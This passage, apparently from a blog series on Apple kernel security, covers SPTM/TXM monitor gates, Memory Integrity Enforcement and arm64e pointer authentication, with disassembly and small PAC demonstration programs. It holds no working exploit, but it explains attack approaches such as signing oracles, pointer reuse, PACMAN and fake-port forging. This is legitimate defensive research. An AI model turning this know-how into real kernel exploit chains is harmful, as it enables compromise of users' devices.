for k in ('t8103', 't6000', 't6020', 't8142'):
    d = open(f'/System/Library/Kernels/kernel.release.{k}', 'rb').read()
    g = sum(1 for i in range(0, len(d) - 3, 4) if d[i:i + 4] == b'\x20\x14\x20\x00')
    print(f'{k}: genter={g}  size={len(d)}')
EOF

t8103: genter=6  size=16908904
t6000: genter=151  size=16676856
t6020: genter=152  size=16579928
t8142: genter=151  size=17095896

Six is a set of trampolines, which is what PPL is. A hundred and fifty is an interface. So the M1 Pro is on the SPTM side, and Apple’s table, which lists the M1 under PPL, is accurate for the chip it names and for nothing above it: on macOS 26.4.1 the only PPL kernel Apple ships for Apple silicon is the one built for t8103.

Those sites are not scattered through the kernel either. Disassemble the kernel and sort every gate by what it writes into x16 before the transition:

otool -xv /System/Library/Kernels/kernel.release.t6020 > /tmp/kern.dis

awk '$0 ~ /(mov|movk|movz)[ \t]+[wx]16,/ {last=$0}
     $0 ~ /\.long[ \t]+0x00201420/ {print last}' /tmp/kern.dis > /tmp/x16.txt

awk '{ if ($0 ~ /lsl #48/) k="domain, bits 48-55";
       else if ($0 ~ /lsl #32/) k="dispatch table, bits 32-39";
       else k="selector only";
       c[k]++ } END { for (i in c) printf "%-28s %3d\n", i, c[i] }' /tmp/x16.txt

dispatch table, bits 32-39    98
selector only                 50
domain, bits 48-55             2

Two gates name a domain, ninety-eight name a dispatch table, and fifty carry a selector and nothing else. That is 150 against the 152 the script counted, because two of the byte matches are data rather than code. The three groups are the three fields of sptm_common.h, read off the binary instead of off the header. The fifty are not scattered either:

grep -v lsl /tmp/x16.txt | sort | head -5

fffffe0007c11394    mov    x16, #0x0
fffffe0007c113bc    mov    x16, #0x1
fffffe0007c113e4    mov    x16, #0x2
fffffe0007c1140c    mov    x16, #0x3
fffffe0007c11434    mov    x16, #0x4

Forty bytes apart, one selector at a time: a generated table of entry points. Apple’s own disassembler will show you one of the gates, and will stop at the instruction it does not know:

grep -B8 -A1 'fffffe0007c1092c' /tmp/kern.dis

fffffe0007c1090c    pacibsp
fffffe0007c10910    mov    w16, w0
fffffe0007c10914    movk    x16, #0x3, lsl #48
fffffe0007c10918    mov    x10, x1
fffffe0007c1091c    ldp    x0, x1, [x10]
fffffe0007c10920    ldp    x2, x3, [x10, #0x10]
fffffe0007c10924    ldp    x4, x5, [x10, #0x20]
fffffe0007c10928    ldp    x6, x7, [x10, #0x30]
fffffe0007c1092c    .long    0x00201420
fffffe0007c10930    retab

That is the whole interface in ten instructions. w0 is the selector the caller asked for and it goes into x16; movk puts 3 into bits 48 to 55 of the same register, which Apple’s sptm_common.h gives to the domain field, and domain 3 is SK_DOMAIN; eight arguments are loaded from a structure the caller passed in x1; and then the transition, which otool prints as .long 0x00201420 because genter has no mnemonic in Apple’s own tooling. The retab on the way out is the return-address authentication from the previous post: a gate into the most privileged software on the machine is still an ordinary arm64e function.

The minimal form is 0xa78 bytes further on:

grep -B5 -A2 'fffffe0007c11398' /tmp/kern.dis

fffffe0007c11384    pacibsp
fffffe0007c11388    stp    x29, x30, [sp, #-0x10]!
fffffe0007c1138c    mov    x29, sp
fffffe0007c11390    bl    0xfffffe00072ddf38
fffffe0007c11394    mov    x16, #0x0
fffffe0007c11398    .long    0x00201420
fffffe0007c1139c    bl    0xfffffe00072ddfa4
fffffe0007c113a0    mov    sp, x29

A call value of zero, no arguments, and a bl on each side of the transition. XNU’s open source brackets its monitor entries the same way, with recount_enter_secure() before and recount_leave_secure() after, so that time spent inside the monitor is accounted separately from time spent in the kernel.

Ghidra makes the same point more bluntly:

It decodes the prologue and the selector, stops on the same four bytes, and never recovers its alignment, so the rest of the gate is a column of undefined bytes. The epilogue is still in that column if you decode it by hand: 02 33 db 97 is the second bl, bf 03 00 91 is mov sp, x29, fd 7b c1 a8 is ldp x29, x30, [sp], #0x10, and ff 0f 5f d6 is retab. The instruction sitting between them is the one that moves this machine into its most privileged execution level.

The kernel also reports what it is not running. Exclaves have two sysctls, and on this Mac they both say the same thing:

sysctl -a 2>/dev/null | grep -iE 'sptm|txm|exclave'

kern.exclaves_status: 255
kern.exclaves_boot_stage: -1

Both values are named in osfmk/mach/exclaves.h: EXCLAVES_STATUS_NOT_SUPPORTED is 0xFF, and EXCLAVES_BOOT_STAGE_NONE is ~0u, which the sysctl prints as a signed -1. So this kernel reports exclaves as unsupported and never booted. That pair does not say whether the code is in the build at all: both sysctls are registered in bsd/kern/kern_sysctl.c outside every #if CONFIG_EXCLAVES guard, and the #else arm of osfmk/kern/exclaves_boot.c returns exactly those two values. kern.exclaves_relaxed_requirements sits inside the guard and is missing from the same output, which points at a kernel built without CONFIG_EXCLAVES. Nothing else matches, because txm.c exposes TXM’s allocator metrics only under #if DEVELOPMENT || DEBUG, and this is a release kernel.

What is left to attack

The interface is the attack surface, and both interfaces are small enough to enumerate. On the SPTM side that means the arguments of every dispatched function, coming from a caller the design assumes may be compromised: a physical address that must be inside the managed range, a type that must be a real type, a transition that must be in the allowed set, a frame that must not already be mid-retype. Steffin and Classen walk that validation chain in the binary, and the interesting reading is where a check is per-type rather than global.

On the TXM side, XNU passes the physical address of a thread stack it owns and reads results back from a shared context page. Both are memory the kernel allocated, which makes the boundary between “argument the monitor validates” and “structure the monitor trusts” the thing worth mapping. Forty-six selectors is the whole API: forty in txm.c, and six more in bsd/kern/kern_trustcache.c for loading and querying trust caches.

XNU’s own domain is untouched by all of it: the data-only techniques of the zone allocator post still work on anything typed XNU_DEFAULT, and the difference is that the chain ends there instead of continuing into the page tables.

Two limits on the public record are worth stating. Steffin and Classen call their own paper an architectural overview rather than a security evaluation, with significant parts of the remapping logic left unread. And the monitors keep changing, so anything written about a specific dispatch table or a selector number is a snapshot of one firmware.

Memory tagging, always on

Memory Integrity Enforcement, MIE, announced in September 2025 with the A19 and A19 Pro in the iPhone 17 and iPhone Air, and shipping on the M5, is three things at once in Apple’s own description. Typed allocators, met earlier in the series as kalloc_type in iOS 15, with a userland counterpart, xzone malloc, since iOS 17. The Enhanced Memory Tagging Extension, EMTE, in synchronous mode. And a set of policies Apple calls tag confidentiality enforcement.

Allocators can only protect at page granularity, so they separate type buckets from one another, and tagging covers what happens inside a bucket. Neighbouring allocations get different tags, so a linear overflow faults at the instruction that commits it. Freed memory is retagged before reuse, so a stale pointer faults on first access. Apple’s blog says asynchronous reporting leaves a race window open for an attacker, and that they would not ship it.

Tags are a secret, and a large part of the design goes into keeping them one. Tag values are specified not to influence speculative execution, which is exactly what TikTag and StickyTags exploit on Pixel hardware, both named in Apple’s post. The generator that picks tags is frequently reseeded. And Spectre V1, which would otherwise leak tags through conditional branches, gets a mitigation that Apple describes as forcing an attacker to chain 25 or more V1 sequences for a high exploitability rate.

One sentence in Apple’s announcement ties memory tagging back to SPTM: the kernel allocator’s backing store and the tag storage itself are protected by the Secure Page Table Monitor. The paper’s frame-type table has the matching entry, XNU_TAG_STORAGE, owned by the SPTM domain rather than XNU’s. Memory tagging on this platform is built on the monitor, and a kernel compromise does not reach the tags.

The Mac used above is a generation too early to show any of it:

sysctl hw.optional.arm | grep -iE 'mte|tag'

hw.optional.arm.FEAT_MTE: 0
hw.optional.arm.FEAT_MTE2: 0
hw.optional.arm.FEAT_MTE3: 0
hw.optional.arm.FEAT_MTE4: 0
hw.optional.arm.FEAT_MTE_ASYNC: 0
hw.optional.arm.FEAT_MTE_STORE_ONLY: 0
hw.optional.arm.FEAT_MTE_CANONICAL_TAGS: 0
hw.optional.arm.FEAT_MTE_NO_ADDRESS_TAGS: 0

Apple names the class that survives, and calls it rare: corruption that stays inside one correctly tagged allocation. Add the classes tagging was never aimed at, races and uninitialised reads and confusion between two objects sharing a bucket, and that is what is left. Calif.io’s May 2026 write-up is the public data point so far: a local privilege escalation on M5 hardware with kernel MIE on, put together in five days once the bugs were in hand.

State in 2026

Fast Permission Restrictions (A11 and S3 and later, from iOS 11). The primitive under everything above. Apple’s documentation names it; the research community’s name for the registers is APRR, and its successor is SPRR.

PPL (A11 and S3 through A14, and the base M1). Page tables writable only from a trampolined context on every platform that runs it, and the code-signing structures too on iOS, iPadOS, visionOS and watchOS. Apple leaves macOS out of that second half, because macOS is designed to run arbitrary code. Still shipping: on macOS 26.4.1 the kernel built for t8103 is the only PPL build left in /System/Library/Kernels/.

SPTM and TXM (A15 upwards, M2 upwards, and every Apple silicon Mac except the base M1, since iOS 17 and macOS 14). Page tables in GL2, code signing in GL0, both in binaries outside the kernel. A kernel read and write reaches neither.

MIE (A19 and A19 Pro from iOS 26, the M5 from macOS 26 and iPadOS 26). Synchronous EMTE over the typed allocators, covering the kernel and more than seventy userland processes, with the tag storage itself protected by SPTM.

Where this leaves us

Every mitigation in the last three posts has the same shape once you line them up. None of them fixes a bug. kalloc_type removed the attacker’s choice of neighbour, pointer authentication removed the value of the pointer, and SPTM removes the two structures the write was aimed at. All three raise the number of separate, working primitives a chain needs before it produces anything. That is the whole strategy, and it shows in the two public chains this series has walked: kfd, which keeps a physical page rather than competing for a virtual one, and Calif.io’s on M5, which its authors describe as data-only.

Everything above describes how the monitors work and what they refuse. None of it says what a bug in one would be worth, and for the moment there is no public body of work to measure that against. The next post goes back down to userland, where the objects a reverser actually meets live: the Objective-C runtime, the isa pointer, and the dyld shared cache, which is why the system libraries are no longer on the disk as separate files.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.

• Apple, Operating system integrity in the Apple Platform Security guide, for Fast Permission Restrictions from the A11 and S3, and for the per-SoC table of which platforms run PPL, SPTM and MIE, including the footnote that SPTM is A15 and later and M2 and later.
• Moritz Steffin and Jiska Classen, Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves, October 2025, for the guarded-level architecture, the GENTER dispatch from XNU, the full frame-type and domain tables, the validation performed by retype, TXM’s place in the design, and the Exclaves and Tightbeam material this post only points at.
• Sven Peter, Apple Silicon Hardware Secrets: SPRR and Guarded Exception Levels (GXF), May 2021, for the SPRR index mechanism, the permission table quoted above, and the GENTER and GEXIT opcodes.
• Siguza, APRR, for the earlier generation of the same primitive, reverse-engineered before Apple documented anything.
• Apple, XNU source: osfmk/arm64/sptm/sptm.h and osfmk/arm64/sptm/pmap/pmap.c for the SPTM interface and the mapping path, osfmk/arm/pmap/pmap.c and pmap_ppl_interface.c for the PPL one, bsd/kern/code_signing/{xnu,ppl,txm}.c for the three code-signing backends, and osfmk/mach/exclaves.h for the status values decoded in the hands-on.
• Apple Security Research, Memory Integrity Enforcement, September 2025, for what MIE is made of, the synchronous requirement, the tag confidentiality work, the Spectre V1 numbers, and the statement that SPTM protects the tag storage.
• Calif.io (Bruce Dang, Dion Blazakis, Josh Maine), First public macOS kernel memory corruption exploit on Apple M5, May 2026, for what a chain looks like against MIE-enabled hardware.

That step used to be the cheap one. Find a pointer the target will call later, overwrite it, wait. Apple’s answer was not another check on the write. On arm64e, Apple’s pointer-authentication ABI, the pointer carries a cryptographic code in its own unused bits, the hardware verifies that code at the branch, and the key it verifies against is not in memory at all.

No amount of read and write recovers the key, so the attacks in this post go after the modifier, the signing operation, or the crash instead.

The spare bits of a pointer

A pointer does not need 64 bits. On the Mac used below a user process gets 47 bits of virtual address, so bits 63 down to 47 of every valid user pointer are zero, and the same bits in a kernel pointer are all ones. The hardware insists on it: the unused top of an address has to be the sign extension of the address itself, or the translation fails.

Pointer authentication (PAC) writes its code into that dead space, and it has to work around bit 55, because bit 55 is what tells the MMU whether the address belongs to the user half or the kernel half. So the field arrives in two pieces:

 63       56 55 54       47 46                                0
+-----------+--+-----------+---------------------------------+
|    PAC    |  |    PAC    |         virtual address         |
+-----------+--+-----------+---------------------------------+
             ^
             bit 55, preserved: 0 selects TTBR0 (user),
                                1 selects TTBR1 (kernel)

Top-byte-ignore (TBI), which lets software keep a tag in bits 63 to 56 that the MMU discards, takes the top byte away from the code when it is enabled for that kind of pointer. On this machine an instruction pointer gets 16 bits, eight in the top byte and eight more in bits 54 to 47, which the hands-on measures directly. Brandon Azad did the same measurement on kernel pointers on the A12 in 2019 and found the mask 0xff7fff8000000000, a 24-bit field, because kernel addresses there are narrower and leave more room.

Sign, authenticate, fail

Two instructions do the signing and the checking:

pacia   x0, x1      ; sign the pointer in x0 with key IA, modifier in x1
autia   x0, x1      ; authenticate x0 against the same key and modifier

autia recomputes the code from the address it finds and the modifier it is given, compares it with the one stored in the pointer, and on success hands back a clean, dereferenceable address. xpaci strips a code without checking it, for tooling that only wants the bare address. pacga does not touch a pointer at all: it takes a value in one register and a modifier in a second, and writes a 32-bit code into the top half of a third, for signing data that is not an address.

Each of these has a second spelling where the modifier is not a register. A trailing z means the modifier is zero: paciza, autiza, braaz, blraaz. Others hardcode a register, which is how the link register is handled: pacibsp signs it against the stack pointer.

What happens on failure changed over time. ARMv8.3 as originally specified does not fault. It strips the pointer and writes a two-bit error code, the key number followed by its complement, so an A key leaves 01 and a B key 10. The pair sits in bits 62 and 61 when top-byte-ignore is off for that kind of pointer and in bits 54 and 53 when it is on, and either way the address is non-canonical, so the next dereference takes a translation fault. FEAT_FPAC moves the fault to the AUT instruction itself, and FEAT_FPACCOMBINE extends that to the fused forms, the single instructions that authenticate and then branch or load. Those are cumulative feature levels, so a chip either stops at one of them or implements the next. This Mac reports:

sysctl hw.optional.arm | grep -i 'pauth\|fpac\|pac'
hw.optional.arm.FEAT_PACIMP: 1
hw.optional.arm.FEAT_PAuth: 1
hw.optional.arm.FEAT_PAuth2: 1
hw.optional.arm.FEAT_FPAC: 1
hw.optional.arm.FEAT_FPACCOMBINE: 0

FEAT_PAuth2 is the ARMv8.6 revision of the base feature and FEAT_FPAC is built on top of it, so a standalone autia that fails traps on the spot here, which the hands-on below runs into. The fused instructions do not, because FEAT_FPACCOMBINE is off: a failed authentication inside one of those still produces a poisoned pointer and faults later, when the branch or the load is taken.

Those fused forms are where most of the signing actually happens: retab authenticates the link register and returns, braa and blraa authenticate and branch, ldraa authenticates and loads.

Five keys and a modifier

Five 128-bit keys feed those instructions: IA and IB for instruction pointers, DA and DB for data pointers, and GA for pacga. They live in system registers that only privileged code can read or write, and that is the property everything else rests on. Stated in the terms of the last two posts: arbitrary read of your own address space does not reach them, and neither does arbitrary read of kernel memory, because they are not memory.

arm64e divides them by purpose. Apple’s ABI documentation calls the A keys process-independent and uses them for the global things, vtables and function pointers. The B keys are local: return addresses and frame pointers. Return addresses matter enough that IB is, in the documentation’s words, “almost entirely reserved for this purpose”, which is why the disassembly below shows pacibsp and retab and not the A-key spellings.

The second operand is the modifier, also called the discriminator. The code is computed from key, address and modifier together, so one address signed under two modifiers yields two unrelated signatures, and a signature computed at one site does not authenticate at another. arm64e builds a modifier from two inputs: the address at which the pointer is stored, which gives address diversity, and a 16-bit constant, which gives constant diversity. Blending a constant into an address replaces the top 16 bits of that address. The constant itself is usually derived from a name: ptrauth_string_discriminator runs SipHash-2-4 over a string and folds the result into the 16-bit range, so a field can be diversified by what it is called.

Return-oriented programming is the case that shows why both halves are needed. A ROP chain is a stack full of addresses: overwrite the saved return address of the function you are in, and every ret afterwards pops the next entry of your list into the program counter, so the program runs your gadgets in your order. On arm64e that function signed its return address on entry with pacibsp and checks it on the way out with retab, and the key and the modifier each take away a different way of filling that list.

The key takes away forging. You cannot compute the code for the address of a gadget, because computing it needs a value held in a system register.

The modifier takes away reuse. If return addresses were signed with the key alone, every one of them in the process would carry an interchangeable signature, and a single valid one, read out of any stack frame with the read primitive you already have, would authenticate in every frame, with nothing forged. Because the modifier is the stack pointer on entry, a signed return address is valid at one stack depth and nowhere else, so a chain of ten gadgets needs ten valid signatures at ten specific values of SP. The gap that leaves is exact: two frames that do sit at the same depth share a modifier, and that is what the reuse attacks at the end of this post look for.

The algorithm computing the code is not public. ARM specifies QARMA, a family of lightweight tweakable block ciphers, as one algorithm an implementation may use, and permits an implementation-defined one instead. FEAT_PACIMP: 1 in the output above, with no QARMA variant listed beside it, is Apple saying it uses its own.

Key diversification is per task, and the A and B keys do not get it the same way. XNU takes a task’s jop_pid, the diversifier behind the A keys, from its shared region, so every process on the same shared cache gets the same value, while rop_pid, behind the B keys, is drawn per task from early_random(). A task that is not arm64e runs with user PAC switched off entirely: bsd/kern/kern_exec.c flags the image IMGPF_NOJOP, and bsd/kern/mach_loader.c then creates its address space with PMAP_CREATE_DISABLE_JOP. Azad’s 2019 work found userspace threads carrying random key seeds while kernel threads shared a constant one. He could not work out the real implementation, so he assumed the most robust design for the rest of that research: that the true keys are random and held in the SoC itself.

What Apple signs

arm64e shipped with the A12 in 2018, and with the M1 on the Mac, and it covers everything Apple builds: the kernel, the dyld shared cache (the single image every system library is merged into), the system binaries. It is not what your own code gets. The program below is arm64e only because I passed -arch arm64e, and macOS gates even that: bsd/kern/kern_exec.c refuses to exec a non-platform arm64e binary stamped with ptrauth ABI version 0, the preview ABI, unless the -arm64e_preview_abi boot argument is set. Current clang stamps a later version, which otool -hv on the binary shows as USR01, so it runs with nothing special enabled.

Inside a process, the ABI signs:

• Return addresses, key IB, modifier is the stack pointer on entry.
• Function pointers, key IA, no modifier, the weakest schema in the ABI and the other end of the scale from a return address, which is why an indirect call through a C function pointer compiles to blraaz, the zero-modifier form.
• C++ virtual functions, with a discriminator derived from the method’s name and signature, so an entry cannot be lifted from one slot or one class into another.
• Objective-C isa pointers, the field naming an object’s class, which objc4 signs with the DA key, blending the object’s own address with the constant 0x6AE1, annotated in objc-config.h as ptrauth_string_discriminator("isa").

Two of those entries are younger than arm64e itself. The isa was not signed at all on the first arm64e devices: the objc4 that shipped with macOS 10.15 has neither ISA_SIGNING_KEY nor ExtractISA, and Apple’s 2019 ABI document said outright that pointer authentication could not protect it. Both arrive in objc4-818.2, which ships in macOS 11.0.1 and iOS 14, so on an A12 running iOS 13 a write primitive could still point an object at a class of its choosing, and on the same phone running iOS 14 it could not. XNU moved in the same release: jop_pid appears nowhere in xnu-6153, the iOS 13 kernel, which diversifies rop_pid and nothing else, so until iOS 14 every arm64e process on the device signed A-key pointers under one set of keys, and a signature made in one process authenticated in another.

The kernel signs the same way, and its discriminators are worth reading because they show what the mechanism is for. This one guards the label pointer in a Mach port’s header, in osfmk/ipc/ipc_object.h:

label.iol_pointer = ptrauth_auth_data(label.iol_pointer,
    ptrauth_key_process_independent_data,
    ptrauth_blend_discriminator(io, (uint32_t)(label.io_bits +
    ptrauth_string_discriminator("ipc_object.iol_pointer"))));

Three things go into that modifier: the address of the object, the object’s io_bits, which is the field carrying its type, and a hash of the field’s own name. The pointer therefore authenticates only in that field, of an object of that type, at that address. Copying a validly signed label pointer out of one port and into another fails. Rewriting io_bits on a port that carries a label breaks that label’s pointer too, because the type bits are an input to the signature over the pointer sitting beside them. Setting io_bits by hand is the first half of the fake-port move in the XNU post, and this is the kind of coupling that makes it expensive.

The zone allocator accounts for PAC too. The type signature kalloc_type computes, the one from the last post that decides which zone a struct is allocated from, has a granule value for it: KT_GRANULE_PAC, documented in osfmk/kern/kalloc.h as “represents a pointer which is subject to PAC”. Two structs of the same size differing only in whether a field is signed get different signatures, and therefore different signature groups.

Hands-on: watching a pointer get signed

Start with one function that exercises two of the things arm64e signs: it calls through a function pointer, and it is not a leaf, so it has to save a return address.

// t.c
int call_it(int (*fn)(int), int x)
{
    return fn(x) + 1;
}

Build it twice, for the two ABIs, and disassemble both:

clang -O2 -arch arm64  -c t.c -o a64.o
clang -O2 -arch arm64e -c t.c -o a64e.o
otool -tv a64.o
otool -tv a64e.o

a64.o:
(__TEXT,__text) section
_call_it:
0000000000000000    stp    x29, x30, [sp, #-0x10]!
0000000000000004    mov    x29, sp
0000000000000008    mov    x8, x0
000000000000000c    mov    x0, x1
0000000000000010    blr    x8
0000000000000014    add    w0, w0, #0x1
0000000000000018    ldp    x29, x30, [sp], #0x10
000000000000001c    ret

a64e.o:
(__TEXT,__text) section
_call_it:
0000000000000000    pacibsp
0000000000000004    stp    x29, x30, [sp, #-0x10]!
0000000000000008    mov    x29, sp
000000000000000c    mov    x8, x0
0000000000000010    mov    x0, x1
0000000000000014    blraaz    x8
0000000000000018    add    w0, w0, #0x1
000000000000001c    ldp    x29, x30, [sp], #0x10
0000000000000020    retab

Same C, one extra instruction, two changed. pacibsp signs the link register with key IB against the stack pointer before it is spilled, retab authenticates it against the same stack pointer before returning, and the plain blr became blraaz: authenticate with key IA and a zero modifier, then call.

The second program prints the field itself, by signing a pointer by hand:

// pac.c
#include <stdio.h>
#include <stdint.h>

int main(void)
{
    uint64_t as_compiled = (uint64_t)(uintptr_t)main;
    uint64_t bare = as_compiled;
    __asm__ volatile("xpaci %0" : "+r"(bare));

    uint64_t a = bare, b = bare, c;
    __asm__ volatile("pacia %0, %1" : "+r"(a) : "r"((uint64_t)0));
    __asm__ volatile("pacia %0, %1" : "+r"(b) : "r"((uint64_t)1));
    c = a;
    __asm__ volatile("autia %0, %1" : "+r"(c) : "r"((uint64_t)0));

    printf("&main as compiled   0x%016llx\n", as_compiled);
    printf("xpaci               0x%016llx\n", bare);
    printf("pacia, modifier 0   0x%016llx\n", a);
    printf("pacia, modifier 1   0x%016llx\n", b);
    printf("autia, modifier 0   0x%016llx\n", c);
    fflush(stdout);

    uint64_t d = a;
    __asm__ volatile("autia %0, %1" : "+r"(d) : "r"((uint64_t)1));
    printf("autia, modifier 1   0x%016llx\n", d);
    return 0;
}

clang -O0 -arch arm64e pac.c -o pac && ./pac

&main as compiled   0x0e550001041404b0
xpaci               0x00000001041404b0
pacia, modifier 0   0x0e550001041404b0
pacia, modifier 1   0x0d7d8001041404b0
autia, modifier 0   0x00000001041404b0
[1]    19332 bus error  ./pac

Six lines, and every one of them is a claim from earlier in this post.

The address of main arrives already signed. Nothing in the program asked for that; taking the address of a function under arm64e produces a signed pointer, and xpaci on the next line gives the bare 0x00000001041404b0.

Line three is identical to line one. Signing the bare address with key IA and a zero modifier reproduces, bit for bit, what the toolchain put there, which is the same schema blraaz authenticates against in the disassembly above.

Line four is the same address under modifier 1, and the signature over it is unrelated. Lay the two side by side and the field boundaries fall out:

The top byte is signature. So is bit 47, which flips between the two runs while the address under it does not move. And bit 55, the leading bit of the middle column, is zero in both, preserved exactly as the diagram said, because this is a user pointer. Eight bits plus seven bits plus one: sixteen bits of signature. One flipped bit of the modifier recomputed the whole code, and five of those sixteen bits came out different, spread across all three pieces of the field.

Line five authenticates with the correct modifier and gets the bare address back. Then the last line asks for the same pointer under the wrong modifier, and the process takes a bus error before printf is ever reached. Nothing was dereferenced, so that fault is the autia instruction itself refusing: FEAT_FPAC, measured rather than assumed.

One last run, the same file built for plain arm64:

clang -O0 -arch arm64 pac.c -o pac-a64 && ./pac-a64

&main as compiled   0x0000000102918460
xpaci               0x0000000102918460
pacia, modifier 0   0x0000000102918460
pacia, modifier 1   0x0000000102918460
autia, modifier 0   0x0000000102918460
autia, modifier 1   0x0000000102918460

Six identical lines, and no crash at the end. The address moved because this is a different binary and the loader relocates it, but nothing else happened at all: no signature on the way in, nothing to strip, nothing to fail. The instructions are still in the binary and the CPU still executes them, and they do nothing, because the keys are off for a task that is not arm64e, which is PMAP_CREATE_DISABLE_JOP taking effect. PAC is a property of the ABI a process was built for, not of the silicon it runs on.

Where the attacks live

Two posts on this blog arrive at this instruction from opposite ends. The JavaScript engine post reaches arbitrary read and write inside a renderer; the last post reaches arbitrary read and write in the kernel. Both then want to point something at code of their choosing, and on arm64e both find that pointer signed.

Sixteen bits is 65536 possibilities, which is not much, and Apple’s ABI documentation says so itself. The raw pointer bits are already known, so the only unknown is the signature, and an authentication oracle “can make it computationally feasible to discover the correct signature with brute force”. A wrong guess kills the process, and that is what normally prevents it.

Signing oracles and signing gadgets skip the guessing. If the target can be persuaded to sign a pointer you influence, or if there is reachable code that signs attacker-controlled data, the key is used on your behalf and never read.

Reuse needs no forgery at all. Two sites that share a key and a modifier accept each other’s signatures, so a validly signed pointer copied from one to the other is just a memory write. This is what the discriminators in the previous section defend against, and it is why XNU folds an object’s type bits and a field name into one 16-bit constant and blends that constant with the object’s address.

The zero-modifier case is where that defence is absent, and Clang’s documentation is blunt about it: the implementation “uses the exact same signing schema for all C function pointers, even for functions of substantially different type”, and it cannot do better, because “the C standard requires function pointers to be copyable with memcpy, which means that function pointers can never use address diversity”. Key IA and a zero modifier for every one of them, which is the blraaz in the disassembly above. Any signed C function pointer in the process authenticates in the slot of any other, so overwriting one with another is a plain memory write onto a target that expects a signed value and gets one.

PACMAN, from MIT in 2022, went after the crash rather than the signature. It requires an existing memory-corruption bug and a code sequence that uses a signed pointer speculatively; the guess is tested inside speculative execution, where a wrong answer is rolled back instead of faulting, and the verdict is read back with a prime-and-probe on the TLB, the CPU’s cache of address translations. It was demonstrated on the M1, and the authors are explicit that it is an exploitation technique rather than a standalone compromise.

The last shape is not an attack on PAC. If control flow is the expensive part, do not use control flow. That is what the device-number swap at the end of the last post does, and a signature never enters into it.

State in 2026

arm64e (A12 and later, and Apple silicon Macs). Every Apple binary and the kernel are built for it. A binary you build is arm64 unless you ask otherwise, and it then runs with the keys disabled, as the last hands-on shows.

The fault moved to the instruction. FEAT_FPAC arrived with the A15 and the M2, so on those cores a failed standalone authentication is an immediate, precise crash instead of a poisoned pointer that dies somewhere later. The A12 through A14, and the M1, still poison the pointer instead. FEAT_FPACCOMBINE is not implemented on this Mac, so the fused forms keep the older behaviour.

What a successful call would buy has shrunk. On A15 and later, M2 and later, and every Apple silicon Mac but the base M1, from iOS 17 and macOS 14, the page tables and the code-signing state moved behind the Secure Page Table Monitor and the Trusted Execution Monitor. Diverting execution inside the kernel no longer reaches them.

Where this leaves us

PAC fixes no bug. The overflow still overflows, the dangling page-table entry from the last post still dangles, and every byte of memory those primitives could reach before, they still reach. It removes the step that used to connect them to the program counter, and it removes it with a secret that is not stored anywhere an attacker can read. The engineering is all in the other operand: the keys are a fixed, small set, so the work went into making sure a signature means something only in the exact field, in the exact object, at the exact address where it was created.

This post cannot tell you what a bypass is worth today. Everything above except the last paragraph aims at one thing, a branch to an address the attacker chose, and on current hardware that branch lands in a kernel that no longer controls the two things a jailbreak needs: the page tables and the trust cache both sit behind monitors that the kernel, running at EL1, cannot write through. Those monitors, and the memory tagging that arrived beside them, are the next post.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.

• ARM, the Arm Architecture Reference Manual for A-profile architecture (DDI 0487), for the PAC and AUT instruction behaviour, the two-bit error code written on a failed authentication, the FEAT_PAuth2, FEAT_FPAC and FEAT_FPACCOMBINE feature levels, and QARMA as one permitted algorithm beside an implementation-defined one.
• Apple, the arm64e pointer authentication ABI, Clang’s own specification: the key assignments (A keys global, B keys local, IB reserved for return addresses), the definitions of address and constant diversity, the 16-bit range for constant discriminators, the SipHash-2-4 string discriminator, and the brute-force analysis quoted in the attacks section.
• Brandon Azad, Examining Pointer Authentication on the iPhone XS (Project Zero, 2019), for the measured PAC mask, the per-process key seeds, and the assumption he adopted for the rest of that research, that the key material originates in the SoC.
• Apple, XNU source: osfmk/ipc/ipc_object.h for the port label discriminator quoted above, osfmk/kern/kalloc.h for KT_GRANULE_PAC, bsd/kern/kern_exec.c for the arm64e preview-ABI gate and the IMGPF_NOJOP flag, bsd/kern/mach_loader.c for PMAP_CREATE_DISABLE_JOP, osfmk/arm/machine_routines.h for the per-task JOP controls.
• Apple, objc4 source: runtime/objc-config.h for ISA_SIGNING_KEY and the 0x6AE1 isa discriminator, runtime/objc-object.h for where they are applied.
• Joseph Ravichandran, Weon Taek Na, Jay Lang and Mengjia Yan, PACMAN (MIT CSAIL, 2022), for the speculative side channel, the gadget it requires, and the affected cores.

A heap overflow writes past the end of your object and into whatever the allocator put next; a use-after-free hands you an object that something else now owns. The bug is the cheap part in both cases. The work is deciding what the kernel puts next to it, or into it, and since iOS 15 the allocator has been redesigned to make that decision unavailable.

From a bug to a primitive

A primitive is a repeatable operation with an interface: inputs you choose, an effect you can predict, and no panic afterwards. A bug is one event with an outcome you mostly do not control, usually a write of the wrong size in the wrong place, or a reference to memory that has been freed. Between the two is that bug applied to a victim object you chose, so that one field of that object now holds a value you picked. At the end is arbitrary read and write, KRKW in kfd’s vocabulary, for kernel read and kernel write: fetch or store bytes at any kernel address you name, repeatedly, without disturbing anything else.

That last stage used to have a fixed shape and a name. tfp0, from task_for_pid(0), a send right to the kernel’s own task port, gave the kernel’s address space through the same Mach calls that work on any other process. Apple closed the userland route to it, chains moved to forging a fake ipc_port in memory they controlled, and the answer was a provenance check: zone_id_require_aligned(ZONE_ID_IPC_PORT, port) in osfmk/ipc/ipc_port.c verifies that a pointer being treated as a port really came from the zone ports come from. You build a read and a write, then spend them on something specific.

The zone allocator

Kernel heap objects come from zalloc. A zone owns a set of pages carved into equal-size elements and hands them out one at a time; kalloc(size) routes to the zone whose element size fits, or straight to the VM, the virtual memory subsystem, when the size is above the largest class. For a reader coming from Linux, a zone is a slab cache and kalloc.64 is kmalloc-64.

Two details decide what can be done with a freed element.

The first is where the free list lives, which is not inside the freed elements. Each run of zone pages has a struct zone_page_metadata, sixteen bytes, held in a separate array indexed by page, and the free elements are tracked in a bitmap field inside it (osfmk/kern/zalloc.c). There is no next pointer sitting in a freed element for an overflow to reach, which removes the entire family of free-list corruption techniques.

The second is sequestering. When zone garbage collection reclaims the physical pages under a chunk, the virtual address range stays assigned to that zone (z_pageq_va, zone_submap_is_sequestered()). A virtual address that has held an ipc_port will not later hold something else.

So the move is always the same: free the victim, get the kernel to allocate an object you control into the slot it left behind, and a field you can drive now sits where a field the kernel trusts used to be. The question is which objects are allowed into that slot.

kalloc_type, or why the same size is not enough

